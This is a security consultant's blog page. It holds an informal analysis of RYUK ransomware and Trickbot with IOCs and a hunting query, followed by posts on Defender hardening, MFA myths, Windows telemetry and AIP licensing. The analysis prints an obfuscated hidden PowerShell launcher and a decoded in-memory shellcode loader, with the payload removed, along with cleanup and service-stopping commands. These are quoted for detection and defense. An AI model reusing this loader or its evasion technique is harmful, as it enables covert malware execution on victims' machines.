This blog post is an informal analysis of RYUK ransomware (MITRE T1486) and Trickbot. There have already been many professional write-ups on RYUK, including FireEye, CrowdStrike, Malwarebytes, Cyberreason, and CheckPoint. In the last 90 days, RYUK has been detected in 14 States across the USA and has been labeled the “Threat of the Quarter” by Center of Internet Security. Internationally, the Mexican state-owned petroleum company Pemex was recently infected by RYUK, along with businesses in Spain and around the world. Just do a search for RYUK in the news for the last 30 days and you’ll find dozens of victims including 110 nursing homes, 400 hospitals, several state and local government – it’s a major crisis.

Many of the organizations that have been hit with RYUK did not ‘threat model’ against APT groups, and it’s a rather unfair fight – like an NFL team beating up on your local high school football team, or a military using laser weapons against a civilian population using pitch forks. According to Coveware, the average RYUK ransom payment is $300,000 USD, and RYUK has earned an estimated 4 million dollars in the last 90 days.

I obtained a copy of RYUK from an infected customer and then used the MDATP Evaluation Lab to examine RYUK behavior. I also obtained a copy of Trickbot for analysis from this website (here).

It was helpful to detonate these two samples separately because it can be confusing to know when one starts and the other ends.

The MDATP evaluation lab recorded every process, registry change, file creation and network communication. I’ve uploaded the reports for download here:

• Download RYUK_MDATPAnalysis.csv file (here)
• Download Trickbot_MDATPAnalysis.csv file (here)

My first impression was – this is incredibly complicated. To understand RYUK, you really need a deep understanding of Trickbot (There are two great posts analyzing the behavior (here) and (here). This is because, in the wild, RYUK uses a dropper such as Trickbot or Emotet to disable AV, maintain persistence, steal Chrome & IE Passwords, distribute Ryuk ransomware executable files via Group Policy, and PSEXEC. RYUK by itself is immediately detected by Defender Antivirus as TrojanDropper:PowerShell/Ploty.H and Trojan:Win32/Tiggre!plock which is why it relies upon something like Trickbot or Emotet to disable AV. Crowdstrike reported (here) earlier this month that RYUK has evolved to send wake-on-lan packets to wake up computers that have been shut down.

Trickbot infections can remain undetected for weeks or months until the attackers determine whether or not the victim is worthwhile pursuing according to reporting by Ars Technica. In some cases, the deployment of RYUK is just a diversion to draw attention away from banking/SWIFT transaction fraud.

Trickbot’s initial infiltration uses phishing attachments (like Microsoft Word and Excel) and RDP. Cyberreason observed that Emotet can bring Trickbot into an environment, which can then bring RYUK in.

Trickbot modified the Registry to disable Antivirus. Distribution occurred via PSEXEC and Group Policy Startup, Login, Logoff, and Shutdown scripts. RYUK spread via Group Policy in the attacks against the State of Louisiana as reported by Ars Technica (here), and is therefore similar to how BitPaymer is known to spread via group policy.

Azure ATP detected three lateral movement techniques: Pass-the-ticket, RDP, and SMB file copies to domain controller shares.

There were 5 days between the first Pass-the-ticket to the coordinated distribution of ransomware via Group Policy.

A limited number of target machines performed C2 communication to a single IP address: 160.20.147.91. I suspect this was Trickbot C&C because when RYUK was isolated in a VM by itself, it performed encryption without any external C2 communication. A new Trickbot C&C command “yvjlQIh.exe 8 LAN” was observed (The executable is always random). Other C&C commands have been documented by Fortinet here.

Interesting cleanup command was observed:

rundll32.exe C:\WINDOWS\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:411042507 WinX:0 WinY:0 IEFrame:0000000000000000

PowerShell was encapsulated by Base64 then compressed with GZIP. This GZIP encapsulation ended up being a great way to identify the suspicious PowerShell.

Here is an example:

cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -noni -c “if([IntPtr]::Size -eq 4){$b=’powershell.exe’}else{$b=$env:windir+’\syswow64\WindowsPowerShell\v1.0\powershell.exe’};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments=’-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(”a string containing commands”))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))’;$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle=’Hidden’;$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);”

Note: The same command above was embedded as a Windows Service here:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\(Random Value)\ImagePath\

To collect a list of all PowerShell commands using GZIP, the following MDATP Advanced Hunting Query can be used (this sample was submitted to the MDATP GitHub Library here).

    ProcessCreationEvents

    | where EventTime > ago(30d)

    | where ProcessCommandLine has “System.IO.Compression.GzipStream”

    | project EventTime, ComputerName, InitiatingProcessFileName, FileName, ProcessCommandLine, MachineId, ReportId

To decompile the GZIP I modified Marcus Gelderman’s PowerShell Script from GitHub (here) to include an additional step to decode Base64.

$import
=
import-csv
gzip-evidence.csv

foreach ($payload
in
$import)

{

$b=[System.Convert]::FromBase64String($payload.Payload)

$decompressedByteArray
=
Get-DecompressedByteArray
-byteArray
$b

Write-Host
“Decoded: “ ( $enc.GetString( $decompressedByteArray ) |
Out-String )>>
output.txt

}

Here is an example of the decoded PowerShell command. Notice each function and parameter is randomized to evade EDR and ML solutions looking for static function strings. However, when I saved this as a TXT file, MDATP instantly recognized it as unsafe and removed the file.

function zQ8wa {

    Param ($al, $ppXta)        

    $qgFCK = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(‘\\’)[-1].Equals(‘System.dll’) }).GetType(‘Microsoft.Win32.UnsafeNativeMethods’)

    return $qgFCK.GetMethod(‘GetProcAddress’, [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($qgFCK.GetMethod(‘GetModuleHandle’)).Invoke($null, @($al)))), $ppXta))

}

function cFG {

    Param (

        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $gM,

        [Parameter(Position = 1)] [Type] $a40 = [Void]

    )

    $zGRY = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(‘ReflectedDelegate’)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(‘InMemoryModule’, $false).DefineType(‘MyDelegateType’, ‘Class, Public, Sealed, AnsiClass, AutoClass’, [System.MulticastDelegate])

    $zGRY.DefineConstructor(‘RTSpecialName, HideBySig, Public’, [System.Reflection.CallingConventions]::Standard, $gM).SetImplementationFlags(‘Runtime, Managed’)

    $zGRY.DefineMethod(‘Invoke’, ‘Public, HideBySig, NewSlot, Virtual’, $a40, $gM).SetImplementationFlags(‘Runtime, Managed’)

    return $zGRY.CreateType()

}

[Byte[]]$eakcC = [System.Convert]::FromBase64String(“(removed to not uniquely identify client)”)

$cDahn = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((zQ8wa kernel32.dll VirtualAlloc), (cFG @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $eakcC.Length,0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($eakcC, 0, $cDahn, $eakcC.length)

$oez = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((zQ8wa kernel32.dll CreateThread), (cFG @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$cDahn,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((zQ8wa kernel32.dll WaitForSingleObject), (cFG @([IntPtr], [Int32]))).Invoke($oez,0xffffffff) | Out-Null

When isolated by itself, RYUK executed the following commands in the MDATP evaluation lab:

“net.exe” stop “vmickvpexchange” /y
conhost.exe 0xffffffff -ForceV1
net1 stop “vmickvpexchange” /y
“net.exe” stop “sacsvr” /y
net1 stop “sacsvr” /y
“net.exe” stop “samss” /y
net1 stop “samss” /y

About a minute after running RYUK, the ransom page was shown:

Mitigations

For customers who use Microsoft Defender, they can enable the new Anti-Tampering feature to prevent AV from being disabled. Corporate customers can use Intune to make it even harder to disable the Anti-Tampering feature, since it abstracts the ability to turn it off to a separate cloud based management interface (otherwise if the on-premises domain admin is compromised, Anti-Tampering would (Requirements: Windows 10 E5 license, Intune, and Windows 10 1903 or higher).

Microsoft Attack Surface Reduction rules would prevent PSEXEC from launching.

If you are a Microsoft shop, see my other blog article (here) on MDATP best practices for other recommendations.

Attribution

RYUK has historically been attributed to Lazarus Group, or as FireEye suggests, a dedicated unit APT38 but it could have been shared with a cybercrime group in Russia since the update from June 2019 blacklists the ransomware from infecting Russia. McAfee and CrowdStrike have both indicated possible Russian connections because of this black list. Researchers are sharply divided on attribution, but it is worth noting that reports have previously circulated about APT38 inserting Russian language into code as a false flag. Either way, it’s commonly accepted that nation-states and major cybercrime threat actors have access to RYUK. Some have speculated that RYUK may be sold as ransomware-as-a-service on the Dark Web but I haven’t seen much evidence supporting this.

The United Nations Security Council report states that North Korea is illegally generating revenue through cyberattacks to circumvent UN resolutions (page 52).

Insurance Considerations

For businesses that do not have cybersecurity insurance, check with your insurance company if “Business Interruption Insurance” will cover the ransomware attack since the servers are down and therefore interrupting business.

IOCs

• V1.exe
• V2.exe
• 160.20.147.91
• RyukReadMe.html
• PSEXESVC.exe
• HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware\1
• HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\PSEXESVC
• HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\(Random Value)\ImagePath\
• (Many others – check the
  
  RYUK_MDATPAnalysis.csv and Trickbot_MDATPAnalysis.csv files for more)

   

Hash MD5

    9baf7ea6d780bf8f45db0a3ce23cc3d5

d898182c48a80cf43c4d730d07f12713

Hash SHA1

    89f7dad23e4dd64e80894d4448aa796b8c11f2bc

58713f34eef264d067c6bc694ab7e1b63a260be8

17027688118a848129388a03904f98227e93d100 (as of 11/26/19 still not in Virus Total)

Hash SHA256

3abec9fd1183e0c97992414f342b787236125064f9934df5a1d68d4d6c148870

d22cad2d94b9a39c8b51c88a6d3f6dd9ce6f85ee7915e89daa657b16cb26f70b

• Enable Tamper Protection
  • Why? The first step in many APT attacks is to use a ‘Dropper’ to disable Antivirus or other security settings via the registry, PowerShell, GPO, etc.
  • This is a Microsoft Defender feature that does not require Windows 10 E5, but if you have E5 then you can leverage Intune to prevent the user from disabling this feature. The benefit of requiring Intune is that it abstracts the ability to disable antivirus to a separate management stack. Otherwise the attacker could use several methods of disabling AV. This advanced feature requires Windows 1903 or higher.
  • This can be enabled in two ways:
    • 1) Globally inside Defender for Endpoint’s advanced feature settings (here). You can also enable Troubleshooting Mode (see docs here) if you need to temporarily disable AV on some devices.
      OR
    • 2) Inside Endpoint Manager (aka Intune, at https://endpoint.microsoft.com). This was previously the only way to control Tamper Protection on a per device/group basis. However, now that option #1 above includes troubleshooting mode, the only reason you would use option 2 is if you had devices you never wanted Tamper protection enabled on (why would you do that anyway?!).
      • a) Using Endpoint Security > Antivirus > Windows Security Experience > TamperProtection (Device)
        OR
      • b) Using Intune Device Profiles:
        • Create a profile that includes the following settings:
        • Platform: Windows 10 and later
        • ProfileType: Endpoint protection
        • Settings > Windows Defender Security Center > Tamper Protection
          
• Enable Attack Surface Reduction Rules (ASR)
  • ASR Rules are a feature of Windows 10 E3 and Windows 10 E5. The E5 version adds unique rules that are not available in the E3 version.
  • ASR rules can be enabled without MDE, but the benefit of using MDE is the centralized reporting, otherwise the audits would be decentralized in the local event viewer.
  • ASR Rules are branded as part of “Microsoft Defender Exploit Guard” which is a series of Windows 10 security features including Controlled Folder Access, Exploit Protection, and Network Protection.
  • Some of the ASR rules require cloud-delivered protection to be enabled. Read the ASR documentation page to identify important caveats before enabling ASR.
  • The ASR Rule “Executables that don’t meet a prevalence, age, or trusted list criteria” examines .exe, .dll, .scr to determine if they are in an allow-list that MSFT maintains.
  • In General, all rules should be enabled in Audit mode for 30 days so that you can assess the impact before turning them on in production, and then exclude files/paths that are not compatible.
  • ASR rules can be configured using: Microsoft Endpoint Manager (MEM), PowerShell, Group Policy, Microsoft System Center Configuration Manager (SCCM), and MEM OMA-URI.
  • The Microsoft Blog series “Demystifying ASR rules” is a great read.
  • In Endpoint Manager/Intune, you can enable it in either of two ways
    • Option 1) Endpoint Security > Attack surface reduction. Choose an existing ASR rule or create a new one.
    • Option 2) Device configuration – Profiles > Profile name > Endpoint Protection > Microsoft Defender Exploit Guard > Attack Surface Reduction.
• Enable “Block at First Sight”
  • This is a series of configuration items that submit a new executable or script to cloud. Block at first sight only uses the cloud protection backend for executable files and non-portable executable files that are downloaded from the Internet, or that originate from the Internet zone
  • You can configure this using Intune, SCCM, or Group Policy.
  • In Endpoint Manager/Intune, you can enable it in either of two ways
    • Option 1) Endpoint Security > Antivirus. Choose an existing Policy targeting the Windows 10/11/Server Platform and the profile for Microsoft Defender Antivirus or create a new one.
      • Allow Cloud Protection : Enable
      • Cloud Block Level: High
      • Cloud Extended Timeout: 50 seconds
    • Option 2) Device configuration – Profiles > Profile name > Device restrictions > Windows Defender Antivirus.
      • Cloud-delivered protection: Enable
      • File Blocking Level: High
      • Time extension for file scanning by the cloud: 50
      • Prompt users before sample submission: Send all data without prompting
      • Submit samples consent: Send all samples automatically
• Enable MDE Sample sharing for all files
  • In Endpoint Manager/Intune, you can enable it in either of two ways
    • Option 1) Endpoint Security > Endpoint detection and response. Choose an existing policy or create a new one.
    • Option 2) Device configuration – Profiles > Profile name > Microsoft Defender ATP (Windows 10) > Sample sharing for all files > Enable
      AND
    • Device configuration – Profiles > Profile name > Microsoft Defender ATP (Windows 10) > Expedite telemetry reporting frequency > Enable
• Enable Automatic Investigation and Remediation
  • Create a Role Group in MDE Settings > Permissions > Roles (select a group)
  • Create a MDE machine group, set it to all machines, and assign it to Full – Remediate threats automatically
  • Enable Automated Investigation in MDE Settings > Advanced Features
  • Enable *all* of the MDE Settings > Advanced Features (or as many as you are licensed for, ex: MDI, Intune, MD4CA, etc).
• Block Manual Intune Unenrollment
  • In Intune, navigate to Device configuration – Profiles > Profile name > Device Restrictions > General > Manual unenrollment > Block
  • In Intune, navigate to Device configuration – Profiles > Profile name > Device Restrictions > General > Direct Memory Access > Enabled
• Enable Network Protection
  • Network protection expands the scope of Windows Defender SmartScreen to block all outbound HTTP(s) traffic that attempts to connect to low-reputation sources (based on the domain or hostname).
  • Network Protection is branded as part of “Microsoft Defender Exploit Guard” which is a series of Windows 10 security features including Controlled Folder Access, Exploit Protection, and ASR rules.
  • Network Protection can be enabled without MDE, but the benefit of using MDE is the centralized reporting, otherwise the audits would be decentralized in the local event viewer.
  • In Intune, navigate to Device configuration – Profiles > Profile name > Endpoint Protection > Microsoft Defender Exploit Guard > Network Filtering > Network Protection
• Enable SmartScreen
  • Already Built-in to Microsoft Edge (and Chromium-Edge)
  • “Windows Defender Browser Protection” is available as an add-in to Chrome (here)
  • You can prevent users from disabling SmartScreen using Endpoint Manager
    Before doing this, have a phased rollout starting with a test group and then a broader pilot group for at least 90 days before going into production.
    • Endpoint Security > Attack Surface Reduction > Create Policy > Application Control
      • Leave App locker application control unconfigured (unless you know what you are doing)
      • Block users from ignoring SmartScreen Warnings: Yes
      • Turn on Windows SmartScreen: Yes
• Enable EDR Block Mode.
  • Originally, it was assumed this feature was only applicable when Defender was in passive mode behind another AV client. While that is the primary use case for EDR Block mode, Microsoft’s documentation recommends enabling this feature even when Defender is in Active mode.
    “We recommend keeping EDR in block mode on, whether Microsoft Defender Antivirus is running in passive mode or in active mode. EDR in block mode provides another layer of defense with Microsoft Defender for Endpoint. It allows Defender for Endpoint to take actions based on post-breach behavioral EDR detections.”
• Block Macros (config.office.com)
  • You can configure macro security centrally through config.office.com or through Endpoint Manager > Apps > Policies for Office apps here: https://endpoint.microsoft.com/#blade/Microsoft_Intune_DeviceSettings/AppsMenu/officeProPlusPolicies
  • Disable Trust Bar Notification for unsigned application add-ins and block them
  • Disable all Trust Bar notifications for security issues
  • VBA Macro Notification Settings: Enable with “Disable without Notification”
  • Disable VBA for Office applications
  • Block macros from running in Office files from the Internet
    • To avoid problems with users who need valid/trusted Macros, you can enable two additional settings:
      • Allow Trusted Locations on the network
        • Lock down the NTFS and/or Share Permissions to only allow authorized users (admins?) from adding Macros to this path (Ask each Department to provide Macros for review)
      • Trusted Location #1 (through #20)
        • This is where you can specify the network path of where the authorized Macros can run from

I will be updating this blog periodically as I encounter additional settings that are particularly helpful for blocking threats.

Update: @djteller (Tomer Teller) pointed out that the Threat and Vulnerability Management (TVM) feature inside MDE has a Security Recommendations section which includes these recommendations, and many other great ones (69 total). Check it out inside your MDE Tenant here:
https://security.microsoft.com/security-recommendations

One of my customers pointed me to this YouTube Video which shows how some of these hardening settings did against 800 malware samples, click (here) to watch the video. Note: the author was working with the standard version of Windows Defender, and I imagine the four threats that got through would have been blocked if ASR had been enabled (ASR is not available in the free edition of Defender).

Disclaimer: This is for educational purposes only, you assume all risk for testing these in your lab first before deploying to production.

Important Announcement from Microsoft on 7/31/19 to all Office 365 customers. Beginning 8/15/19, Microsoft will enable a new setting that allows all Office 365 users to send data to their personal cloud storage accounts (Google Drive, Facebook, Consumer OneDrive, etc). This will take effect even if you had disabled a similar setting in the past. Here is the new command to turn this off.

Here is the email all Office 365 administrators should have received relating to this roadmap ID 52597

‪The old way of hardening will no longer work using these cmds: set-owamailboxpolicy -DropboxAttachmentsEnabled $false -BoxAttachmentsEnabled -GoogleDriveAttachmentsEnabled $false -ThirdPartyAttachmentsEnabled $false‬

This is not the first time Microsoft has changed the default settings or experience which has a security / governance impact.

As a consultant who specializes in deploying Microsoft security solutions, I have helped deploy multi-factor authentication to hundreds of companies over the years. I’ve heard lots of excuses why companies fail to deploy MFA, and I’ve seen even more misconfigured MFA deployments. I’ve heard alarming stats that fewer than 3% of Global Administrators are enabled for MFA. Let’s see if we can bust through the blockers that prevent people from deploying MFA correctly. Here are the top misconfigurations and/or myths that I have encountered.

• “I can deploy a single Azure Conditional Access Policy to enforce MFA”

  This *used* to be a myth but Microsoft has made an update in August 2020 that all new Conditional Access policies will include legacy auth by default (it was the opposite before). This is a good step in preparation for the MSFT announcement to block legacy auth in the 2nd half of 2021. Prior to the update, you had to deploy a 2^nd policy to block legacy authentication, because CA policies did not block legacy authentication by default. The 2^nd policy had to specify the condition of client apps >  “other clients” selected. You would think a ‘block access’ means block all access and that you wouldn’t have to configure something beyond that, but you must create the additional condition.
  
  

• I can block foreign attackers from signing in by creating a Conditional Access policy to block IP addresses outside of the United States.

  This is mostly a myth. While you may deter the laziest “drive-by attackers”, any determined attackers will relay through a VM residing inside the United States (for example, a compromised IaaS VM hosted in Amazon or Azure), or use a VPN proxy with an exit node inside the United States.

  Important note: IP-Fencing policies that use regions (example: block all Countries outside the USA) will not block *all* IPv6 address unless you check the box “Include unknown areas.” This is because some IPv6 blocks are not associated with a particular location.
  

  Important! This also works the other way:  If you have a block policy that excludes USA, you may still be blocking connections from inside the USA that use IPv6 addresses – since some IPv6 ranges don’t have an associated location.

• “I can’t block legacy auth because we don’t have an Azure AD Premium license”

  This is a myth because while the premium license certainly makes things easier, there are three ways you can still block legacy authentication.

  • You can block legacy auth by deploying “Always ON” MFA, which is included at all license levels.
    
  • You can block legacy auth using the Security Defaults setting
  • You can block legacy auth in Exchange Online with New-AuthenticationPolicy (Thanks @AndrewRPretty for this)
• “I don’t need to consider Office clients when deploying MFA.”

  That may be true if you have fully deployed Office 2016 or higher, however, if you have any older clients, then you have work to do.

  • Office 2013 clients do not support MFA unless you deploy two registry keys
  • Office 2010 and older clients require the use of MFA Application Passwords, which are pure evil because they never expire, so when you go to terminate the user by resetting their AD password, most helpdesks forget to delete the MFA app passwords because its buried in a separate administrative interface. Worse yet, MFA App Passwords are enabled by default unless you turn them off in the hidden MFA admin portal (here) (most people don’t realize that ‘service settings’ is a click-able link, so they never see the option to disable MFA app passwords!
    
• “We couldn’t deploy MFA at my organization because it broke our administrative PowerShell.”

  Many of the Office 365 Administrators aren’t aware that they have to download MFA–compatible PowerShell modules.
  Try the new Azure Cloud Shell, which takes the hassle out of downloading MFA modules. Azure AD and Exchange Online are already pre-loaded. Sign in from any web browser! https://shell.azure.com

  Or, if you want to use the old method, download all the modules from Terry Munro’s blog here. Setup your workstation following his walkthrough (here), and then download the all-in-one script (here) which is what I prefer to use.

• “we couldn’t deploy MFA because we use ActiveSync”

  While it is true that older ActiveSync clients do not support MFA, you can work-around this by deploying an MFA-compatible application such as Outlook for iOS or Android. If you don’t have the means of distributing software to your end-users, or if you think you can’t ask them to install the Outlook App themselves (by the way you are underestimating your users, they know how to use the App Store!). Anyway, if you don’t want the hassle of communicating to end-users, then you could create a policy in Exchange Online that quarantines devices by default unless they are authorized by IT. You can also run a PowerShell script to determine how many of your users are using older ActiveSync clients, like the script I published in the TechNet Gallery (here).

• “we tried rolling out MFA, but our users still had to use “MFA App Passwords” so we stopped the rollout.”

  This can happen if your Office 365 tenant has not been enabled for Modern Auth. Microsoft stated that they were in the process of rolling this out to all new tenants created after August 2017, however, I still sometimes come across customer tenants where these settings are not enabled. In short, if you are still seeing modern clients require Modern Auth, it usually means that it is not enabled for Exchange Online and/or Skype Online. So you need to enable those with PowerShell as described here for Exchange and here for Skype Online.

  Did you know? The new admin center now allows you to enable Modern Auth without using PowerShell!
  
  https://docs.microsoft.com/en-us/office365/admin/security-and-compliance/set-up-multi-factor-authentication?view=o365-worldwide#enable-multi-factor-authentication-for-your-organization

• CA Policies do not override MFA Always ON. You must disable MFA-Always ON before a CA Policy will take effect, otherwise MFA-Always ON will override the CA Policy.

  I had a customer start off with deploying Always ON MFA, then they wanted to stop having people prompted for MFA from domain joined machines. They couldn’t figure out why their conditional access policies were not working. It turned out, they never went back to disable Always ON MFA. They assumed it should have been smart enough to override the Always ON MFA. As soon as we disabled the Always ON MFA setting, then the conditional access policies kicked in correctly, so that MFA prompts did not appear when they originated from domain-joined machines.

• “we are configured to use Mobile Authenticator so we are configured according to best practice!”

  That is only true if you also disabled SMS, which is enabled by default and available for an attacker to perform a downgrade attack. Technically, SMS is better than no MFA (it’s 99% effective against drive-by attacks), but if you want to be configured according to best practice, you will go the extra step of removing SMS from being an option presented to users. PCI & NIST 800-63: SMS should no longer be used in 2FA, because SMS is only 76% effective against nation-state groups.
  

  Note: As stated above, this setting can be hard to find because the “service settings” option does not appear like a click-able link. Here is the direct link if you need help navigating to that setting. https://account.activedirectory.windowsazure.com/UserManagement/MfaSettings.aspx?culture=en-US&BrandContextID=O365

• “we use Duo, RSA, OKTA or xyz MFA provider so we are protected against credential phishing.”

  This is a huge misnomer. You can be using what you think is the best user-MFA solution in the market, however, unless you have added machine-level authentication to your conditional access policy, you are vulnerable to man-in-the-middle proxy solutions such as EvilGinx2. The only correct way to defend against man-in-the-middle is to add machine authentication as an additional factor (or Intune enrollment for mobile devices). Machine authentication can be domain-join checking, certificate authentication, or FIDO2/U2F. To learn more about this vulnerability, read my other blog post (here).

• “Conditional Access Policies are not secure because when a user roams outside the corporate network, they are not immediately prompted for MFA.”

  This loophole was fixed for Exchange Online with the New-clientaccessrule. To learn more about it, watch Jeff Kizner’s 2017 Ignite presentation (here) starting at 7:35 through 15:55. In a nutshell, conditional access provides an authentication token if you meet the requirements at the time the token is issued. If the user roams outside the network, the token is not immediately invalidated. Exchange Online has the ability to re-check the IP address location with every packet, to avoid roaming to unauthorized network locations. It would be great if the other services like SharePoint had this but as far as I am aware they do not.
  For workloads outside of Exchange Online, Microsoft has added Continuous Access Evaluation (CAE).
  This is off by default and also requires updates in the Office client to work.

• MFA is just too much of a user impact for us to deploy.

  I can sympathize with this sentiment: your IT department is stretched thin and you just can’t gamble with impacting productivity. Just remember this: nobody is going to thank you for reducing user impact when there is a ransomware outbreak that causes a complete work stoppage for days or weeks, or results in having to pay a massive $230 million dollar GDPR fine. Here are four things you can do to reduce the burden of the MFA rollout.

  • Avoid MFA prompts when the PC is domain joined devices (read my blog about this here)
  • Avoid MFA prompts when the mobile device or Mac OSX is managed by Intune
  • Avoid MFA prompts when the user is indie the corporate network
  • Avoid passwords and use the MFA Authenticator app for authentication ( with one important caveat here <- don’t enable passwordless auth if you use the ‘require compliant device checkbox’ )
  • Avoid MFA prompts when connecting from a device that has previously authenticated with MFA at least once (aka Trusted Device)
    

    If you do any of the above (or all of them), users would only be prompted for MFA when outside the network on a personal device that they haven’t used in the last 60 days! That should reduce the helpdesk calls!
    

Other Tips:

• You can now change the frequency of how often users get prompted for MFA! For example, internal users can see the MFA prompt never (see #12 above) or every 1 week, whereas external users can see the MFA prompt every 12 hours.
  
• Enable the new Combined Registration experience so that when users register for MFA, they also register for self-service password reset at the same time. Bonus: by enabling the new combined registration experience, you are one step closer to using FIDO2 tokens (the new combined registration is a pre-requisite). Read more here.
• You can extend your MFA to also protect on-premises workloads like VPN. Read more (here)

I hope this helps! If you need help securing your Office 365 Environment, contact us at [email protected]

I have never put much thought into disabling diagnostic data from being sent to Microsoft, because I’ve always given them the benefit of the doubt that they benefit from using this data to identify faulty drivers and things that cause reliability issues in Windows. However, according to Microsoft, this data may contain “personal data” as defined by Article 4 of the European GDPR (more on that below) and therefore our friends in Europe have asked for guidance on how to disable this diagnostic data from being sent to Microsoft.

If you want to see what type of information is being sent to Microsoft, Windows 10 now includes the ability to view the diagnostic data by downloading a tool called the Diagnostic Data Viewer.

Step 1. Enable the Viewing of Diagnostic Data in Windows 10 (full documentation is here)

Step 2. Download the Diagnostic Data Viewer tool from the Microsoft App Store

Step 3. Launch the tool to review the diagnostic data that was sent to Microsoft.

According to this Microsoft Support article (here)

“Diagnostic data may contain “personal data” as defined by Article 4 of the European GDPR, but it does not contain your name, your email address, or any content from your files. All diagnostic data Microsoft collects during the use of Office applications and services is pseudonymized, as defined in ISO/IEC 19944:2017, section 8.3.3.”

According to this Microsoft article (here) this is what the basic data is:

We use Basic diagnostic data to keep Windows devices up to date. Microsoft uses:

• Basic error information to help determine whether problems your device is experiencing can be addressed by the update process.
  
• Information about your device, its settings and capabilities, including applications and drivers installed on your device, to ascertain whether your device is ready for and compatible with the next operating system or app release and ready for update.
  
• Logging information from the update process itself to understand how well your device’s updates are proceeding through the stages of downloading, pre-installation, post-installation, post-reboot, and setup.
  
• Data about the performance of updates on all Windows devices to assess the success of an update’s deployment and to learn device characteristics (e.g., hardware, peripherals, settings, and applications) that are associated with the success or failure of an update.
  
• Data about which devices have had upgrade failures and why to determine whether to offer the same upgrade again
  

However, if you want to block the transmission of this diagnostic data, on a per machine basis you can go into Windows 10 and change the default ‘enhanced’ to ‘basic’

To disable this on all machines, deploy the following registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DataCollection

Create a new a 32-bit DWORD value named AllowTelemetry and set it to 0

Windows 10 build 1511 and newer disable these two services:

Connected User Experiences and Telemetry
dmwappushsvc

Then restart the computer.

Now as it relates to Office, you need to go into the settings of the Diagnostic Viewer and enable the Office data viewer toggle as shown here:

For Office 365 ProPlus, Microsoft documents the diagnostic information sent to Microsoft (here)

You can manually turn this off on a per user basis as shown below, or you can disable it for all users using the config.office.com website also as shown below.

Office 365 ProPlus Manual Configuration

File > Account > and under Account Privacy select Manage Settings.

Office 365 ProPlus Configuration for all machines (use config.office.com as shown below)

And for Windows 7, the July 9th 2019 security patch added telemetry. Disable or delete these scheduled tasks after the security patch installation but before rebooting the computer.

\Microsoft\Windows\Application Experience\ProgramDataUpdater
\Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser
\Microsoft\Windows\Application Experience\AitAgent

Reference: https://www.howtogeek.com/428265/windows-7s-july-2019-security-patch-includes-telemetry/

Microsoft’s Rights Management Services (RMS) first debuted as a role in Windows Server 2003. It was then made available in Office 365 as Azure Rights Management, eliminating the hassle of hosting on-premises RMS server roles. When Microsoft acquired ‘Secure Islands’ in late 2015, that brought classification and labeling into the product, and so it was re-branded as Azure Information Protection. And then in 2018, support for both Mac OSX and Microsoft Windows required re-branding it into a more heterogenous name, as it is currently called Microsoft Information Protection.

The product is available in various license options:

• Office E3 includes Rights Management for Office 365. This is the bare minimum RMS capabilities such as encrypting emails and documents, but it lacks customization and the latest bells and whistles.
  
• EMS E3 includes Azure Information Protection, which adds the Secure Islands classification and labeling features, document tracking, revocation, and on-premises AIP Scanner functionality to scan and search for PII data in on-premises file shares and on-premises SharePoint.
  
• EMS E5 adds the ‘Automatic Classification’ feature which will scan the content of a document and apply encryption, classification and labeling to a document. The AIP Scanner functionality is also extended to include encryption of data at rest that it finds in on-premises file shares and on-premises SharePoint.
  
• M365 E5 which includes Windows 10 E5, is called “Microsoft Information Protection” because it extends protection to include data discovered on the Windows 10 endpoint. It can then prevent users from copying files to USB drives or unsanctioned locations. This feature also appears in the Office 365 Security and Compliance Center when configuring ‘Endpoint DLP’ as part of the DLP Policies. It leverages a combination of technologies including Windows Information Protection (WIP) and Mobile Application Management (MAM) policies on Windows 10.
  

On April 16^th 2019, Microsoft announced (here) the general availability of the Unified Labeling Client. This is an MSI client software that can be distributed to Windows workstations that shows the labels found in the Security and Compliance Center’s Classification portal. Microsoft’s best practice is that if you have not yet deployed any of the legacy AIP labels, they suggestion you configure the new Unified Labels, distribute the new client (download here) (ending in *ul.exe) and be aware of the limitations that exist (here).

Join this free Microsoft webinar on Thursday, May 23rd at 7:00 AM PT to learn how to enable it, and the value that it brings to your organization: https://aka.ms/AIP-UL-Webinar

[Updated 7/11/2019 – Azure AD now supports FIDO2 tokens for MFA, which also protect against EvilGinx2]

This is my second blog post in this series. In the first blog post (here) Aidan Holland (@thehappydinoa) demonstrated how EvilGinx2 can bypass Microsoft’s 2FA that is built into Office 365 (SMS Text or Mobile Authenticator), sometimes called “Always-On MFA.”

Kuba Gretzky (@mrgretzky) stated that it can defeat any form of 2FA!

